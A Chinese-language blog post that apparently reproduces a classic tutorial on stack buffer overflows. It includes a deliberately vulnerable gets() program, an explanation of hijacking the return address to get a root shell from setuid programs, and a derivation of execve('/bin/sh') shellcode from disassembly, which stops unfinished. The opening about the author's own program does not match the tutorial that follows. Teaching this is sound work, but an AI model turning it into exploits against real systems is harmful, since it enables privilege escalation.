關於堆棧溢出問題

 最近寫程序,因爲程序要一直運行,所以牽涉到實時讀取數據,就有循環調用取數據方法,因此而產生了堆棧溢出問題。

 

在您開始瞭解堆棧溢出前,首先你應該瞭解win32彙編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分配方面的基礎知識,有關這方面的計算機書籍很多,我將只是簡單闡述原理,着重在應用。其次,你應該瞭解linux,本講中我們的例子將在linux上開發。
  1、首先複習一下基礎知識。
  從物理上講,堆棧是就是一段連續分配的內存空間。在一個程序中,會聲明各種變量。靜態全局變量是位於數據段並且在程序開始運行的時候被加載。而程序的動態的局部變量則分配在堆棧裏面。
  從操作上來講,堆棧是一個先入後出的隊列。他的生長方向與內存的生長方向正好相反。我們規定內存的生長方向爲向上,則棧的生長方向爲向下。壓棧的操作push=ESP-4,出棧的操作是pop=ESP+4.換句話說,堆棧中老的值,其內存地址,反而比新的值要大。請牢牢記住這一點,因爲這是堆棧溢出的基本理論依據。
  在一次函數調用中,堆棧中將被依次壓入:參數,返回地址,EBP。如果函數有局部變量,接下來,就在堆棧中開闢相應的空間以構造變量。函數執行結束,這些局部變量的內容將被丟失。但是不被清除。在函數返回的時候,彈出EBP,恢復堆棧到函數調用的地址,彈出返回地址到EIP以繼續執行程序。
  在C語言程序中,參數的壓棧順序是反向的。比如func(a,b,c)。在參數入棧的時候,是:先壓c,再壓b,最後a。在取參數的時候,由於棧的先入後出,先取棧頂的a,再取b,最後取c。這些是彙編語言的基礎知識,用戶在開始前必須要瞭解這些知識。
  2、現在我們來看一看什麼是堆棧溢出。
  運行時的堆棧分配
  堆棧溢出就是不顧堆棧中數據塊大小,向該數據塊寫入了過多的數據,導致數據越界,結果覆蓋了老的堆棧數據。
  例如程序一:

      #include  
  int main ( )
  {
  char name[8];
  printf("Please type your name: ");
  gets(name);
  printf("Hello, %s!", name);
  return 0;
  }

  編譯並且執行,我們輸入ipxodi,就會輸出Hello,ipxodi!。程序運行中,堆棧是怎麼操作的呢?
  在main函數開始運行的時候,堆棧裏面將被依次放入返回地址,EBP。
  我們用gcc -S 來獲得彙編語言輸出,可以看到main函數的開頭部分對應如下語句:
      pushl %ebp
  movl %esp,%ebp
  subl $8,%esp

  首先他把EBP保存下來,,然後EBP等於現在的ESP,這樣EBP就可以用來訪問本函數的局部變量。之後ESP減8,就是堆棧向上增長8個字節,用來存放name[]數組。最後,main返回,彈出ret裏的地址,賦值給EIP,CPU繼續執行EIP所指向的指令。
  堆棧溢出
  現在我們再執行一次,輸入ipxodiAAAAAAAAAAAAAAA,執行完gets(name)之後,由於我們輸入的name字符串太長,name數組容納不下,只好向內存頂部繼續寫‘A’。由於堆棧的生長方向與內存的生長方向相反,這些‘A’覆蓋了堆棧的老的元素。 我們可以發現,EBP,ret都已經被‘A’覆蓋了。在main返回的時候,就會把‘AAAA’的ASCII碼:0x41414141作爲返回地址,CPU會試圖執行0x41414141處的指令,結果出現錯誤。這就是一次堆棧溢出。
  3、如何利用堆棧溢出
  我們已經制造了一次堆棧溢出。其原理可以概括爲:由於字符串處理函數(gets,strcpy等等)沒有對數組越界加以監視和限制,我們利用字符數組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。
  在上面的例子中,這導致CPU去訪問一個不存在的指令,結果出錯。事實上,當堆棧溢出的時候,我們已經完全的控制了這個程序下一步的動作。如果我們用一個實際存在指令地址來覆蓋這個返回地址,CPU就會轉而執行我們的指令。
  在UINX/linux系統中,我們的指令可以執行一個shell,這個shell將獲得和被我們堆棧溢出的程序相同的權限。如果這個程序是setuid的,那麼我們就可以獲得root shell。下一講將敘述如何書寫一個shell code。


 如何書寫一個shell code
  一:shellcode基本算法分析
  在程序中,執行一個shell的程序是這樣寫的:
      shellcode.c
  ------------------------------------------------------------------------
  #include  
  void main() {
  char *name[2];
  name[0] = "/bin/sh"
  name[1] = NULL;
  execve(name[0], name, NULL);
  }
  ------------------------------------------------------------------------

    execve函數將執行一個程序。他需要程序的名字地址作爲第一個參數。一個內容爲該程序的argv(argv[n-1]=0)的指針數組作爲第二個參數,以及(char*) 0作爲第三個參數。
  我們來看以看execve的彙編代碼:
      [nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c
  [nkl10]$Content$nbsp;gdb shellcode
  (gdb) disassemble __execve
  Dump of assembler code for function __execve:
  0x80002bc <__execve>: pushl %ebp ;
  0x80002bd <__execve+1>: movl %esp,%ebp
  ;上面是函數頭。
  0x80002bf <__execve+3>: pushl %ebx
  ;保存ebx
  0x80002c0 <__execve+4>: movl $0xb,%eax
  ;eax=0xb,eax指明第幾號系統調用。
  0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  ;ebp+8是第一個參數"/bin/sh\0"
  0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  ;ebp+12是第二個參數name數組的地址
  0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  ;ebp+16是第三個參數空指針的地址。
  ;name[2-1]內容爲NULL,用來存放返回值。
  0x80002ce <__execve+18>: int $0x80
  ;執行0xb號系統調用(execve)
  0x80002d0 <__execve+20>: movl %eax,%edx
  ;下面是返回值的處理就沒有用了。
  0x80002d2 <__execve+22>: testl %edx,%edx
  0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
  0x80002d6 <__execve+26>: negl %edx
  0x80002d8 <__execve+28>: pushl %edx
  0x80002d9 <__execve+29>: call 0x8001a34
  <__normal_errno_location>
  0x80002de <__execve+34>: popl %edx
  0x80002df <__execve+35>: movl %edx,(%eax)
  0x80002e1 <__execve+37>: movl $0xffffffff,%eax
  0x80002e6 <__execve+42>: popl %ebx
  0x80002e7 <__execve+43>: movl %ebp,%esp
  0x80002e9 <__execve+45>: popl %ebp
  0x80002ea <__execve+46>: ret
  0x80002eb <__execve+47>: nop
  End of assembler dump.

  經過以上的分析,可以得到如下的精簡指令算法:
      movl $execve的系統調用號,%eax
  movl "bin/sh\0"的地址,%ebx
  movl name數組的地址,%ecx
  movl name[n-1]的地址,%edx
  int $0x80 ;執行系統調用(execve)

  當execve執行成功後,程序shellcode就會退出,/bin/sh將作爲子進程繼續執行。可是,如果我們的execve執行失敗,(比如沒有/bin/sh這個文件),CPU就會繼續執行後續的指令,結果不知道跑到哪裏去了。所以必須再執行一個exit()系統調用,結束shellcode.c的執行。
  我們來看以看exit(0)的彙編代碼:
      (gdb) disassemble _exit
  Dump of assembler code for function _exit:
  0x800034c <_exit>: pushl %ebp
  0x800034d <_exit+1>: movl %esp,%ebp
  0x800034f <_exit+3>: pushl %ebx
  0x8000350 <_exit+4>: movl $0x1,%eax ;1號系統調用
  0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx爲參數0
  0x8000358 <_exit+12>: int $0x80 ;引發系統調用
  0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
  0x800035d <_exit+17>: movl %ebp,%esp
  0x800035f <_exit+19>: popl %ebp
  0x8000360 <_exit+20>: ret
  0x8000361 <_exit+21>: nop
  0x8000362 <_exit+22>: nop
  0x8000363 <_exit+23>: nop
  End of assembler dump.

  看來exit(0)〕的彙編代碼更加簡單:
      movl $0x1,%eax ;1號系統調用
  movl 0,%ebx ;ebx爲exit的參數0
  int $0x80 ;引發系統調用

  那麼總結一下,合成的彙編代碼爲:
      movl $execve的系統調用號,%eax
  movl "bin/sh\0"的地址,%ebx
  movl name數組的地址,%ecx
  movl name[n-1]的地址,%edx
  int $0x80 ;執行系統調用(execve)
  movl $0x1,%eax ;1號系統調用
  movl 0,%ebx ;ebx爲exit的參數0

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章